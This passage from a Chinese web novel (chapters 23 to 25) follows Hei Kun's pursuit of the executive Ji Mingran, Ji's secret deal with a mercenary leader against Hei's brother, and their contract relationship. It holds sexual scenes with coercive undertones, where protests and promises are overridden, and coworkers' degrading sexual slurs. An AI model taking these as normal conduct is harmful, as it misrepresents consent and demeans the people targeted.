贺琨听闻,不管不顾纪明冉的真实意思,直接当做对方答应了,看着那道离开的背影,他开心得心里的小人直转圈。 接下来的日子贺琨非常主动,主动到什么地步呢? 就是他已经把恒辉分配给项目团队的办公室当成自己的办公场所在用,而且理由正当充分,无人可指摘什么。 早上给纪明冉送早餐咖啡,中午敦促纪明冉按时进餐,隔三天便主动汇报进度,可谓无所不用其极的接近。 纪明冉需要时,他都在,纪明冉不需要时,他还在。 公司流言蜚蜚,贺琨全然不在意,只是偶尔会因为纪明冉的冷淡伤心,但也能很快将自己的情绪调整好,再出现时让人看不出难堪与晦涩。 兰临市正式入夏,天气更加炎热。 纪明冉的会议依旧是一个接一个,出差也是常态,只是他最终还是会回到兰临市来。 如此高强度的工作状态,就算是铁打的人也会生病。 纪明冉此次出差的城市天气异常降温,再次返回兰临市这如同蒸笼般的气候中,便反复发起了高烧。 肃山手上的工作量因此变得更繁重,纪明冉强撑病体仍在继续。 而贺琨因为定稿前日送了审,青芜涯那边也步入正轨,反倒清闲下来。 肃山忙得只差手脚并用,贺琨刻意选在此时来缠着他。 “肃山,你家纪先生一个人在公寓里没人照顾,肯定不行,若是无人叮嘱,他指不定还要带病加班,生病什么时候才能好呢,唉。” 贺琨侧眼看着肃山的反应,略微有些做作地叹息。 肃山眉目间染上几分担忧,但手上依旧翻阅着堆叠的文件,一目十行:“确实,很有可能。” “所以,你告诉我公寓的门锁密码,我去照顾他,没有人比我对纪先生更上心了。” 肃山动作一顿,可谓“司马昭之心,路人皆知”,难道他还能不明白贺二先生的用心? 恐怕整个公司就连不喜八卦之人也能看得出来了。 公司上下不知道贺琨的身份,都等着看这位年轻学者的笑话。 什么时代了,还像活在象牙塔之内的单纯少年似的,不自量力。 私下的讥讽更是一句比一句难听,冯平心里不舒服,是真替贺琨生气。 而肃山作为纪先生的亲信,更多的则是拿不准该如何对待贺二先生。 因为纪先生对待贺二先生的方式很特殊,他揣摩着开口。 “谢谢贺二先生关心,但或许纪先生更喜欢独处?” 不等贺琨继续回话,对面办公室走进来一位助理,恭敬地向肃山问好,随后眼神都没有漂移,完全将贺琨视作逗人开心的小丑。 他雷厉风行地走到桌前,将一张写好备注的a4纸放至肃山办公的桌面,抬手示意到桌前的工作电话。 肃山本想批评此人,但事关紧要,他快速浏览要点,接过转接电话。 贺琨心里有事,还是关于冉冉的大事,更是压根没注意。 他站在桌旁玩弄一支签字笔,扫过纸张上的内容,眸光微闪。 “肃山,你今天会很忙的,还是我去吧。” 分了神的人果然会容易说话很多,肃山对电话那头道:“稍等。” 他单手捂住电话听筒,败在了贺琨不屈不挠的精神之下:“贺二先生,那请您等我请示一下。” 贺琨偷偷暗喜,没等肃山告知结果,便驱车去了纪明冉的公寓。 他只想让纪明冉知道他会去,能有心理准备,至于密码,他可一点也不指望能要到。 贺琨站在公寓门前,人的习惯很难改变的,尽管那人是纪明冉。 他猜测着可能的密码,才试探到第二个时,电梯叮咚响起,一位西装俊男应声而出。 是陈深,左手上提着一个非常有质感的保温壶,右手则是些常见的感冒退烧药。 陈深先打了招呼:“嗯?阿琨也在?” 贺琨看见此男便内心警惕,自从上次饭后,陈深总是时不时邀请他私聚,但贺琨从未答应,甚至在某次心情不好时,干脆将陈深彻底拉黑了。 “你来干嘛?”语气很差。 陈深举起手中的物品:“给学长送些吃的和药物。” 话语间,他自然而然地侧身绕过贺琨,眼看就要将拇指按在那数字键盘上方的指纹检测之处。 贺琨都顾不上搞清楚陈深是何时将指纹录入的,他上前拍下陈深的手背,挡在电子锁前:“东西放下,你离开,我会替你转交。” 呸,偷偷丢掉。 陈深满眼探究地盯了贺琨好一会。贺琨则是笃定陈深不敢违背他,静待着对方低头。 两人一言不发,就在僵持中,空气里突然响起手机短信的通知振动,是陈深的,他先低头拿出手机查看信息。 备注为纪学长的对话框微微在镜片上反光,不是十分显目,但贺琨还是细心地注意到了。 也是这时,贺琨才发现陈深今日竟带了副眼镜,莫非是想走文艺熟男风? 贺琨更加确信他要勾引纪明冉。 几秒后,陈深抬头:“学长让我们都离开,别打扰他。” 是纪明冉会说的话,加之刚才从镜片反光中看见的备注,贺琨没有怀疑,只是有些许不甘。 但说句实话,今天这架势,要么两人同进,要么两人同时离开。 贺琨有些自卑,他感觉冉冉对这位学弟比对自己好很多,还不如两人谁也别进去,等晚些他再偷偷来。 尽管心里有些落寞,他依旧强撑着不想在情敌面前败下阵来。 自己不能照顾冉冉没关系,但陈深这个绿茶男休想进入公寓,贺琨抬手引向电梯的方向:“先请。” 陈深态度自然,一副拿得起放得下的洒脱模样,他将东西放在公寓门前的木柜上,缓慢低声道:“阿琨,你想不想知道关于纪明冉在罗德庄园的一切?” 贺琨狐疑地看向陈深,这人能有这么好心? “阿琨,今晚和我一起吃饭吧,我都告诉你,当然我也不是没有条件。” 听到最后一句,贺琨表情才稍有缓和,卸下了些许怀疑。 但他还是生气,陈深这般黑心的商人,连喜爱之人都信息都能拿来交易。 “好啊,你定餐厅,走吧。”他倒要看看陈深到底在搞什么把戏,揣着什么坏心思。 陈深看似面色沉重,转身后,却在无人可见的方向,缓缓扬起了满意的笑容。 镜片反光之中“纪学长”真的是纪明冉吗?他又真的将指纹录入了门锁系统吗? 陈深听着身后之人踏出的脚步声,心满意足,抬手缓缓按下电梯按键。 却没想咔嚓一声,他们话题的主角纪明冉突然拉开了公寓的门。 就在现场的两个人谁也没反应过来的时候,纪明冉已经拦腰截住还未迈出半步的贺琨,不容拒绝地将人搂进公寓门内,藏至身后。 他面色苍白如纸,唇色失了血色,眼中泛着病态的红血丝,但丝毫不影响美感。 身上还穿着家居服,看得出确实有些虚弱,瞳孔却危险地眯起,下颌线绷得极紧,声音因久病显得低哑,语气格锋利利不善。 “陈深,若是这般手段,那你的真心比垃圾更加掉价。” 陈深转身回头,镜片在顶灯下反光,全然遮掩住眸子,只见他漫不经心地勾起嘴角,语调温和:“学长别光指责我,那你呢?你又是何意?” 24-30 第23章 第二十三章新的关系贺琨站在纪明冉…… 贺琨站在纪明冉背后,全然不知他百看不厌的人,忽然朝向陈深绽开了笑容。 苍白近乎透明的面庞隐匿在背光处,唇角扬起的弧度带着几分诡异的气息,眼尾却凝着刺骨凉意,阴冷蚀骨。 陈深面色紧绷,不自觉地后退半步,直至看见贺琨的身形,才堪堪忍住不再后撤。 他在罗德庄园待过很长一段时间,那时候他帮着女爵打理生意,他了解纪明冉,当这个神经病露出这般神态,那必定是有人要倒血霉了。 “陈深如今都敢开我的玩笑了?”纪明冉顾忌贺琨在场,没有将话说得很清楚。 陈深面色倏尔苍白泛青,握紧的拳头不住颤抖,理智告诉他得罪纪明冉没有任何益处,可是他控制不住。 这么多年,他压抑本性,学着八面玲珑,也变得面目全非。 支撑着他的信念,唯有年少时的爱意与不甘。 贺琨还现在纪明冉身后,因为亲近喜爱之人,耳垂也染上薄红,可他不知道身前之人是多么的卑劣阴暗,除了好看的皮囊一无是处。 陈深认定,他们不合适。 他闭上眼睛深呼吸几次,指甲几乎要将手心的肉扣烂,再睁开双眼时,却已经看不出任何什么情绪,陈深平静道:“对不起,纪先生。” 他恨自己吗? 恨。 也许再努力些,身世再好些,也不至于如此,他珍爱之人也不必在那位高权重者手中,被当作可有可无的,消耗殆尽。 陈深自知纪明冉打开那扇门后,今夜无论如何,都已无机会。 他决绝地转身进入电梯,在梯门合闭的前一秒,还是开了口:“纪先生,他决计不应是这般模样。” 纪明冉充耳不闻,慢条斯理地合上门,听见机械锁扣上,他又从门口实木抽屉中取出一把钥匙,将暗锁锁实。 全程当着贺琨的面,没有丝毫避讳,他抽出钥匙,看向还在观察着室内装修风格的贺琨:“你想是什么样的?嗯?” 纪明冉笑得昳丽,最后一个尾音拖曳上扬,透露着蛊惑的意味。 什么乱七八糟的,贺琨回神。 “我吗?”贺琨有点不确定,刚才两个人打哑迷似的,他也想明白啊倒是,关键两个人从头到尾都没带过他。 但他最近从陈深这位绿茶情敌身上学习了很多,于是贺琨低嗓音,争取让其变得如同大提琴般丝滑深沉:“我想,是你喜欢的样子。” 手拿把掐,入木三分。 纪明冉愣住,原本紧张的氛围顿时烟消云散。 贺琨浑然不知,他用短短两句话,帮助自己避开了即将降临的人身危机。 烦人的情敌终于走了,他也终于想起自己的主要目标,担忧地抬手按上美人的额头。 要是换做平时,肯定都已经被躲开了,可这一次他摸到了纪明冉温热的肌肤,肯定是发烧烧得反应都迟钝了。 但贺琨却因这难得的肌肤相触而悸动,想入非非到有些唾弃自己,这算乘人之危吗? 他眼神慢慢飘移向下,生病的人,据说很紧很热 贺琨有些燥,他彻底唾弃自己,并对此进行强烈谴责:贺琨,你无耻,你是来照顾病人的。 触碰突如其来使得纪明冉低下了头,瞬间撞入那双水波荡漾的双眸中,认真专注地看着自己,黑黝黝的,又湿又亮。 他抬手盖住那双眼,像蛮横霸道地禁锢住一个无时无刻不在牵引他的灵魂。 贺琨很乖,安静地站着。 准确来说,贺琨是震惊到忘记了反应,纪明冉此举于贺琨而言,很特殊。 曾经,上一世,纪明冉也总是喜欢遮住他的眼睛,贺琨起初是不明白的。 毕竟都说眼睛是心灵的窗口,可纪明冉总在爱意最浓烈时捂住他的双眼;亲热时又总是不住地轻柔吮吻,像对待最珍贵的宝物。 后来,他也问纪明冉。 在一个明月高挂的夜里,整座城都浸在雨后宁静中,纪明冉终于告诉了他答案。 年轻俊美的男人凑近耳畔呢喃,每个字眼都满载爱意。 他说,他的眼睛像星星、像宝石,是欲念所归,是灵魂之属,是爱人最完美的嘉奖。 贺琨那时只觉得设计师的灵魂还是过于文艺飘逸了,看着纪明冉笑笑,然后将人拉入了庸俗的激烈的欲望漩涡。 回到现在,他沉浸在莫名的喜悦中,这是否代表纪明冉也有一丝心动,贺琨享受着这短暂的美好。 但在这之前,他得先解决一个麻烦。 纪明冉和陈深两人之间,已经因为不明的分歧,沾上了火药味,贺琨见缝插针,给纪明冉上眼药:“冉冉,那陈深不是好人。” “陈深不是好人?他就是太好了……” 纪明冉仍旧没有松开贺琨,内心却讥笑着已经离开的陈深,一番努力为他人做了嫁衣裳。 他嘴上劝解着贺琨,动作上却全然霸道。 贺琨的后颈白白软软的,被纪明冉掌在手心捏揉,捉弄到透出不自然的红意,像是在宣告主权。 贺琨本人却完全不在意,他享受这样难得的亲密,私心里将此待遇看做是喜爱之人生病时期的限定待遇。 又过了一会,他总算察觉出被握住后颈的微妙,具体说不上来,总之不能是这样的。 纪明冉的状态真的不正常。 贺琨再次想起正事,他搭上纪明冉的手腕往下拉,强硬地要把人送回房间休息。 他拽着人往前走,可纪明冉却纹丝不动,他被力的相互作用回扯,倒退半步差点倒进纪明冉怀中。 两人靠得很近,他微微仰头哄道:“你现在不清醒,我们先去休息好吗?” 说罢,贺琨趁机再次自然地拉上纪明冉的手回房间。 他心里害怕,一边悄悄地关注着纪明冉表情,确定没有什么变化,才实在地握住;一边安慰自己,没事的,纪明冉把你脖子都捏红了,拉一下没事的。 贺琨攥着那双已经变成大号的玉手,打死也不回头看,因为他接下来打算重振威严。 “你下次能不能别像刚才那样搂我啊?” 用最软的语气,说着最软的话。 纪明冉半晌没回答,贺琨都准备找台阶自己下了,这事他擅长,却又听见身后传来的声音。 “为什么呢?” 纪明冉盯着那道再熟悉不过的背影,地面上,他的影子渐渐将贺琨的影子完全覆盖吞噬。 只见贺琨僵硬地推开卧房门,扭扭捏捏地回头,看着自己的脚尖:“只有我们两个人也不是不可以,但有别人在多没面子啊。” 纪明冉看着贺琨圆圆的发旋,发出一声嗤笑,不过这次是笑自己。 好吧,面对贺琨真的不应该想太复杂,他将自己的手抽出,掠过贺琨先跨进房间。 身后很快传来急促的脚步声追着来:“喂,你快躺下,我是来监督你的,我给你量体温,还有,不允许工作了,我去给你做饭” 纪明冉本想走去拿笔记本的脚步一停,在贺琨的碎碎念中躺回了床上,他也不知道为什么,总之就是这般做了。 贺琨拿着体温计和退烧贴站在床前,不知道在想什么,但显然很专注。 纪明冉闻着空气中的味道:“粥糊了。” 一如既往地惜字如金。 贺琨反应很迅速,毕竟全身心都扑在了纪明冉身上,他立刻看着床上的病美人嘘寒问暖:“你快躺好,放心,没事的,我最会照顾人了。” 真好,那真是完了。 若真如此言,纪明冉认为在照顾人这方面,幼儿园的小朋友也可以光荣获奖。 他好以整暇地看着贺琨忙出忙进,总算端着热粥进入房间,转手却将退热凝胶涂在了退热贴上。 饶是他嘴毒,也不知说什么才好了。 但是今晚,最起码今晚,贺琨不能离开,纪明冉要让陈深在内的所有人知道,贺琨和他整夜都在一起。 贺琨还沉浸于照顾纪明冉的成就感中,抬头便见纪明冉目不转睛地盯着他,几乎是下意识地将心提到了嗓眼。 往往这种时候,纪明冉总会说出使人难过很久很久的话。 纪明冉只要拒绝就好,但他要考虑的就多了。 贺琨忙着抢先开口,妄图打断纪明冉即将发言的动作:“别说话!你先休息,我去厨房看看粥熬得怎么样了。” 他快速转身,想趁机逃避。 “贺琨。” 那人像是看穿了他的小心思,贺琨内心苦笑:不是吧,还要被追着鲨。 一个转身的动作,贺琨似乎耗费了百年的光阴,再次看向纪明冉时,那人竟意外地没有立刻划清界限。 “怎么了?”贺琨尝试着问。 “结束这些行为吧,贺琨,没有意义,这段时间里你做的已经够了,但我依旧,不喜欢你,”纪明冉说完着四个字,微微停顿,“或许,其他方式更适合我们。” 贺琨的心先是陡然一沉,坠入寒潭,听到后半句时,又似乎被浮力托起,回到水面,得以微微喘息。 “各取所需。” “给你三日考虑,如何?” — 几日前,纪明冉接到了母亲合作多年的雇佣组织第一负责人的电话。 这支团队实力强劲,各方面均有涉及,能说的,不能说的,主力扎根R国,但势力遍布全球。 在罗德庄园时,纪明冉代替女爵经常与其合作,并且无论是过程还是结果都非常愉快。 负责人的声线友好而欢愉,若非纪明冉非常了解此人,也会恍然认为此人是个好相处的性格。 电话那头清晰道:“朋友,有兴趣合作一下吗,嘻嘻。” 今晚之前,他还正愁着如何转变对贺琨的态度。 生病的时机是很巧合,但还不够,可陈深的出现使一切看起来更加顺理成章。 贺琨完全不在意细节,光是自己的主动接近就会让他足够开心,但总有人在暗处观望。 纪明冉注视着贺琨欢喜着忙前忙后的身影,若有所思。 第24章 第二十四章幸福至极代号S,看起来…… 代号S,看起来似乎有些大众化,还有些落后于时代,直白说就是土。 S刚入行时并不扎眼,却在R国成功刺杀军事一把手,拿下多年排在雇佣市场首位的艰巨任务,一“战”出名。 纪明冉那时才重生不久,在众人嘲讽S只是一时运气,皆不看好这位横空出世的“黑马”时,他递出了橄榄枝。 S接下来高开高走,很快建立了自己的组织,极速扩张势力,开始时吐槽他代号的那批人也开始解析这个代号多么具有深意,多么威武凌人。 所以,纪明冉与此人谈不上关系好,但他于S有知遇之恩。 S这次的合作内容直指贺家,他要一个人,贺青峰。 对于纪明冉而言,贺青峰销声匿迹后,他只需背后操纵相助,尽管贺琨从未涉足商业,但贺家偌大的家业必定会由贺琨接手。 贺琨对他痴心一片,信赖无比,届时贺家资产注定任由纪明冉操控。无论他回归纪家的目的是什么,这笔附加的“财富”都会加速他筹划的进度。 纪明冉并未直接回应,电话挂断,S很快匿名将数封邮件发至他的私人邮箱。 贺家兄弟和睦平静的生活在信件中被撕破得一览无余。 纪明冉盘算着,一日后,松口答应。 — 贺琨第二日是和纪明冉一起回到公司的,两人的关系此刻变得无比微妙,纪明冉看起来比较自然,但贺琨明显还在状况之外。 “你虽然退烧了,但是还没有康复。” 专属电梯内,两人并排而立,贺琨穿着不合身的马甲衬衫,一眼便知属于纪明冉。 电梯快至纪明冉专属办公室时,他微微侧身将贺琨隐隐纳入怀中,低头抬手理了理贺琨的领结:“没事。” 电梯门叮咚打开,一位路过男秘书正想低头问好,却在看见两人亲密的姿势时微愣,半晌才道:“纪总早,贺先生早。” 正是昨日在肃山面前完全将贺琨忽视的那个男人。 貌似大家都叫他王秘,应该是姓王,贺琨心情好,礼貌地回应:“王秘书,是吧?早上好。” 纪明冉也难得停留视线:“早。” 汪荣咬牙笑笑,但当着纪明冉的面,他还不敢表露出不满,看着贺琨背影,眼中充满鄙夷,拿出手机便在屏幕上敲敲打打。 ——那位姓贺的,也算是爬床成功了[图片][图片]。 很快,群里的消息开始刷屏。 ——世风日下,难评。 ——卖呗,高级鸭。 ——怪不得那么年轻就负责大项目,一路睡过来的呗[吐了] ——****的,不知道多少钱可以玩一次,还挺对我胃口。 ——指不定都烂了[艾呀,没逝的] 汪荣看着群里愈发恶心下流的发言,总算舒心了些,他再次发言。 ——万一人家是正经追求到手的呢,可别乱说[捂嘴] …… …… 群里逐渐平息的话题,再次热闹起来,说着贺琨各种纠缠如何如何不要脸,愈发夸大诋毁,仿佛就在现场目睹。 汪荣满意地关闭手机,走去茶水间。 而最开始挑起话题的两张亲密图片,也悄悄被暗中窥屏的有心之人保存,传到应去之处。 —— 下班时间,贺琨拿出准备好的协议塞进包里,今晚要和纪明冉共进晚餐。 考虑三天太多余了,他一秒都不想等。 尽管只是床伴关系,两人的关系也算有很大的进步,最起码没有那么针锋相对,冉冉也不再一味回避。 贺琨觉得自己和纪柏达的交易还是非常正确的,这段时间的努力也没有白费。 俗话说,烈女怕缠郎,贺琨觉得烈男也是。 纪明冉只要为他打破第一次界线,之后便会有无数次的吧。 晚餐环境十分雅致。 贺琨早晨得到纪明冉的回复,转头就吩咐冯平认真考察筛选,最后自己又从三家中挑选出来这家餐厅。 包间的磨砂玻璃映着青绿色山影,乌木格栅间悬着绢面宫灯,光透过缠枝纹暧昧低沉的映照铺开,窗外是假山小池,荷香阵阵,流水潺潺。 纪明冉端起茶盏浅尝:“我以为你会挑选一家现代西式的高级餐厅。” “上次应约,见你喜欢这样的风格,于是就仿着找了一家,你喜欢就好。”贺琨话毕展颜微笑,发自内心的喜悦,便是这般清浅而绵延。 应该是邀请贺琨在首都吃饭,查探贺琨并归还手表的那次邀约,目的算不上纯粹。 说起来,这一次也并不纯粹。 纪明冉嗓子有些涩,再次抬起杯子饮茶,不着痕迹地移开视线,阻止话题的深入:“还可以,你考虑的怎么样了。” 只见贺琨从身后的高定手提夹中取出一份文件,十分认真。 “冉冉,你看怎么样,如果不合适我就改。” 贺琨拿出一支笔递到纪明冉手边,整个人拖着椅子靠近,连带着呼吸也扑撒在纪明冉小臂。 “结婚也有协议呢,虽然我们只是床伴关系,但是也得正式些,是不是?”贺琨拿出准备好的说辞,势必要说服纪明冉,这只是第一句。 必须要签协议,万一冉冉中途反悔了怎么办。 说服很拙劣,纪明冉却一口应道:“好。” 贺琨猛地抬头,看向纪明冉眼底,里面装满看不懂的晦涩,但他已经无暇顾及:“那,我每天都能和你见面吗?” “可以。”纪明冉再次答应,低头看着协议的内容。 “那,我可以和你住在一起吗?”贺琨的声音更加雀跃,不相信幸福来得如此突然。 “可以。” 贺琨笑得更加绚烂,眸光如同星辰闪烁,私密的空间里被他的爱填满。 “那,那我可以亲你吗?” “可以。” 吻落在唇上时,纪明冉呼吸停滞瞬息,落在纸张上的视线逐渐模糊。 方才注意力全在在协议之上,下意思地顺着贺琨要求回应,此刻他才反应过来自己答应了什么。 贺琨吻得很深情,侧身仰头,闭着眼睛,睫毛微微颤悠。 没有舌头,没有多余的动作,只是安静地、轻柔的、没有欲念的一个吻。 纪明冉缓缓闭上眼,遮住了黯淡的眼神,出手扣压住贺琨的后脑,正视着自己的欲望,加深了这枚吻。 舔舐,吮吸,霸道地索取,挤占怀中人的软舌本有空间,唇舌相接发出的粘腻咂声在静谧的包间里回响。 贺琨喘息不匀,双手抵在纪明冉胸膛开始微微推拒,仍旧未得到掌控者的疼惜。 最后还是餐厅侍者的敲门声,拉回了纪明冉的理智。 贺琨整个人都软了,缺失多年的心口终于被补全填满,餍足地伏在纪明冉肩头喘息,双眸失焦,只感觉到有一只温热的手掌从上到下,缓缓地抚摸着他的背,像是在顺毛。 “别后悔,贺琨。” 纪明冉的声音似乎在远处响起,贺琨脑子搅成浆糊,听不大清,下意识便回应:“不后悔,不后悔的。” 生怕来不及解释,身前人又忽然消失。 “不,你会”恨好了,陪我一起。 纪明冉声音很低,没有人听见他说了什么,只见他最后低头笑笑,将贺琨扶正:“菜已经上好了,快吃吧。” 纪明冉长臂一捞,将对面的碗筷拿至身旁,放在贺琨面前。 贺琨浑浑噩噩中已经吃上碗中的虾仁,鲜甜爽口,这时眼神瞟过角落的文件,急急忙忙地喝下一杯水:“你看完了吗?要改动吗?” 纪明冉顺着贺琨的手势看去,有条有序地放下手中的木筷,重新拿起文件,看这架势,如果不说好,恐怕身旁的人这顿饭都吃不安稳了。 “你看这里。” 协议持续时间为三年,前面部分还算正常,虽然看起来腻腻歪歪的,但到了后面几条就有些让人胆战心惊了,常人恐怕都不会同意,贺琨还明目张胆地指出。 比如现在贺琨让纪明冉看的这个,大抵意思就是:如果有一方违约,就要将手中所有财产及股份无偿转让。 纪明冉看了看贺琨,以一种不太正式的口吻:“哦,这样看来,贺二是打算让我找个床伴,就找得血本无归?” 贺琨也知道这条款极霸道极不合理,他低着头呆呆地眨了眨眼,没敢看纪明冉:“我要是毁约,也全部给你,冉冉。” “哼。”纪明冉发出意味不明的哼笑。 尽管两人都拥有着普通人眼中的巨巨巨额财富,但商业成功人士纪明冉和全力依兄研究牲贺琨所拥有的财产依旧不是一个量级。 纪明冉绕过话题,指着上方的一条念道:“协议期间,双方均不得与他人发生性关系。” 贺琨抢先开口,审视纪明冉:“怎么?你做不到吗” 纪明冉难得挑眉,看向贺琨这个早有案底的“渣男”,眼神缓缓移到贺琨胯间:“依我看,不如把这个问题留给你。” 贺琨被纪明冉盯得有些不自在,虽然穿了裤子,但如同被透视得一清二楚,他甚至庆幸自己今天穿得是一条极有品味的黑色内裤。 “我可洁身自好,你可以去问我的老师和师兄。” 贺琨说话间,缓缓坐直身体,将自然分开的双膝盖微微合并。 纪明冉笑笑,将文件合上,打算再次放回一旁。 坐在纪明冉左侧的贺琨却越过身子,按住了他的右手:“你还没有签字。” 纪明冉将文件放下,反手覆盖在贺琨的手背上,轻轻一捏,暧昧又亲昵。 “不能签,为了你好。” 纪明冉思绪飘回代号S来电的合作内容,声音有些软,像是再哄人。 “就是为了我好才要签。”贺琨没有被美男计诱惑,他再次夺过文件,眼神如炬,誓不罢休的作态,看起来犟得不得了。 两人僵持了几分钟,纪明冉先败下阵来,最终利不利用这份协议谋事的选择权在他。 事成之后,按照贺琨的脾性,坚决不会继续这份关系,他也不会以此要挟,权当短暂的过家家罢了。 贺琨盯着纪明冉将名字签上,还不满意,不知哪里变出一盒墨泥,又催着纪明冉按了手印。 纪明冉完成后,贺琨赶紧接过来,生怕晚一秒纪明冉就会撕书反悔,他正式地将自己名字一笔一划签好,又将指纹按上。 借着灯光欣赏两人紧凑挨在一起的姓名,甚至想回酒店就要装裱起来。 不,他不住酒店了,他要和冉冉同居啦,贺琨看向纪明冉。 不知为何,傻乐的贺琨又将灼热的视线放回了自己身上,纪明冉无奈:“快吃饭,再闹会菜都凉了。” 贺琨眯着眼笑笑,这是他重生以来最开心的一天。 第25章 第二十五章陪同出差青平市,青芜涯…… 青平市,青芜涯。 贺琨拧开山间泉眼处接到青芜涯施工场地水管闸阀,很快一股清凉泉水的涓涓而出,沾染的泥污缓缓褪去,露出那双修长好看的手。 暮色晦明,他还得赶回市区和冉冉一起吃晚饭,想到这贺琨天生凶戾的眉眼染上柔软。 两人同居已有一段时间,说是床伴,但相处模式已经和正常情侣基本无异。 说到这次,纪明冉陪他出差确实令人兴奋,可但凡提到原因,贺琨想起来还是气闷。 青芜涯出差是他自己接下的事项,所以前天晚上,纪明冉加班结束回到公寓时,他忍不住拉着人抱怨了两句,说好几天不能见面云云,仅此而已。 纪明冉没有回应,坐在皮质沙发上,轻捏着贺琨的后颈把玩,耐心地听他絮叨。 忽地,纪明冉:“那我陪你一起。” “啊?” 贺琨坐在沙发前的地毯上,本来抱着平板出稿,闻言笔都拿不稳了,他仰头倒看纪明冉,瞪圆的眼中满是期待,就等回应。 纪明冉将平板抽出放在茶几上,将人拉上沙发,微垂眼眸:“我有条件。” “什么条件啊?”贺琨感受着近在咫尺的呼吸,都快成翘嘴了,被老婆钓得晕乎。 却全然不知,落入纪明冉眼中自己是什么模样。 耳垂的薄红满上胸膛才堪堪停住,在宽松的家居服里晃荡的年轻躯体暴露无遗,线条紧致完美,淡粉点缀,恰似无声邀请。 纪明冉再次凑近,几乎算是舔咬着怀中人的耳垂将暧昧的话说出。 贺琨不知听见了什么,眼神突然清明,将两人的距离拉开,来回摇头控诉:“不行不行,说好了轮流在上的,但上次,上上次,还有上上上次,你都没有说话算话,至今我还一次都没有轮到!” 他边说,边将随意搭放在沙发角落的小毯子拿起来,往身上一裹。 纪明冉再次靠近,贺琨不算娇小类型*的男生,但落入他眼中就是可爱得不行。 幽深的眼里暗藏汹涌欲望,表面却不为所动。 “轮流?谁答应的,不是我。”纪明冉说完还做了个足够无辜的表情。 贺琨气得不行,可是前几次床上纪明冉都答应了,还是他努力配合了很久才换来的,都快坏了。 贺琨欲哭无泪,握紧拳头在空中挥舞:“纪明冉,我告诉你,我专门练了散打。” 话音落地,纪明冉猝不及防地靠近,拳头差点落在那张绝美的侧脸上。 贺琨也只是嘴上说,心里哪能舍得,他连忙收手,下一秒却被美人攥进手心,在突起的骨节处落下了枚轻柔的吻。 酥麻顺着脊柱传递到身体的各个角落,贺琨心悸不已,呼吸都漏了半拍。 也就是这时,再次被纪明冉钻了空子。 不知多久,天色已经完全黑了,窗外霓虹闪烁更盛星芒。 贺琨抬手压在唇边止住呜咽,眼眶滚落出泪水,愣愣地注视着雪白天花板,凌空的腰腹又酸又麻,直到纪明冉起身,他才彻底瘫软在沙发上。 纪明冉在贺琨汗湿的额头上亲了一口,随意披起已经皱褶遍布的衬衫走朝冰箱,拿出矿泉水喝了两口。 很快再次回到客厅,爱不释手地抱起贺琨渡了两口,眼底盛满不自知的爱意。 怀中人还在走神,只遵循着本能索取水源,完全没有意识到那副模样多么具有视角冲击力。 纪明冉不委屈自己,他右手领着水瓶,左手单手公主抱起贺琨就朝房间走去。 贺琨被丢进柔软的床中,才终于找回思路,嗓音略微嘶哑:“那你去不去?” 挨都挨了,不能白挨。 纪明冉有些失控地凝视着黑色软被簇拥的人,一点也没忘记自己的目的,他顿了顿,眸光微转,缓缓回答:“不去。” “不去?”贺琨累计起来的委屈终于爆发了,他拿起枕头就往纪明冉身上丢,却因为腰腹力量不足,最终只是轻轻一下:“纪明冉,你王八蛋,你滚出去!” 对贺琨来说,这已经是他面对纪明冉能说出来的最狠语言。 纪明冉笑着:“谢谢小贺宝贝的肯定。” 他优雅地将水瓶端端正正的放在床头柜中央,转身却握住贺琨两只交叠的手腕往上一扯,不容挣脱地用力按压到床上,十分正经地哄:“再一次就去,我保证很快。” 又过了许久,纪明冉兴奋到有些扭曲的面容慢慢恢复温雅,盯着满脸泛红的人弯腰道:“真可怜啊,明天陪你去,好不好?” 贺琨回忆结束,微扬的嘴角都拉平了,好个头好。 他带着狠劲地关闭水流,粗糙地将手上残留的水珠往身上擦了两把,一怒之下,怒了一下。 “赵师,我觉得还是您的方案周全,贺先生年轻过头,毕竟是中途空降的嘛,您也懂的…” 一位背着专业测量仪器的男人站在赵师身旁,言辞中充满鄙夷暗示,毫不避讳地拜高踩低,嘴脸做尽。 赵师听得眉头紧,立刻打断:“浑说什么!” 两人声音不大不小,刚好一字不拉地落在贺琨耳中,他撩起眼皮,锁定方向,看见了那个熟悉的面孔。 男人略微猥琐地眯着眼睛,,一副眼镜架在鼻梁上,脸上堆满讨好的笑,整个人骨瘦如柴,还穿着件不合身的深色短袖。 说到底,贺琨提出来的方案能不能通过,还得看设计团队、施工团队以及决策层等,每个环节缺一不可。 至于采纳或者不采纳,对于他来说并没有实质上的区别,贺琨想到得到的已经得到了,全靠责任心推进。 前几次会议上,每每贺琨发言完毕,这个男人总是不加思索地提出反对意见,甚至好几次中途打断贺琨,姿态傲慢,语气莽撞。 可是从头至尾,此人的发言根本未曾被采纳过一次,他不但不自我反思,反而更加激动对抗,在各个场合拼命踩压贬低贺琨。 贺琨见此人头脑不清醒,难免惹得一身骚,故而原打算睁只眼,闭只眼就过去。 就在昨晚收工时,男人不知是有意无意,横冲直撞地推搡,将贺琨的电子绘版摔进了泥池里,等贺琨捞起自己的设备,人已经一溜烟地跑了。 贺琨还没算账呢,对面倒是先来蹦跶了。 他斜靠在一侧的树干上,指着那位正在赵师面前哈腰点头的男人:“你,过来。” 那人显然也被贺琨陡然而变的气势吓到了,平日里这位姓贺的设计师,虽然面相看起来凶狠不好惹,但相处起来反而平和安静,彻头彻尾就是个话不多的老实人。 所以,他一下子还反应不过来,站在原地一动不动。 “过来啊,说给我也听听。” 贺琨音量不变,可是由于众人不自觉地安静,显得他的声音格外明亮。 别着设计助理——蒋山胸牌的男人畏畏缩缩,他悄悄看了看周围,发现大家都关注着这里,不想被看瘪。 尽管有些害怕,还是硬着头皮上前:“怎么?难道我说的有错吗?你不就是中途加入的嘛。” “这倒是,我们的设计团队之前都已经建群两周了,姓贺的才进的群。” “好像是。” “还真的是,你看,群里的日期。” 周围的人切切嘈嘈似乎给了蒋山勇气,他突然腰板都挺直了,咄咄逼人地朝贺琨靠近。 他平日里唯赵师命是从,可这次赵师在身后面按住蒋山的肩头,竟被他毫不犹豫地甩开。 贺琨丝毫没有被周围影响,松弛上前,上下扫视一眼,看了看蒋山的胸牌。 “蒋山是吧,讨好谁也改变不了一个事实。” “你能力不行,素质不行,人品,更是低劣,趁早收拾东西回家吧。” 见蒋山气得唇色都抖白了,恐怕再多说两句,这个人怕是要倒地碰瓷。 贺琨嗤笑,收回视线,拎起背包离开。 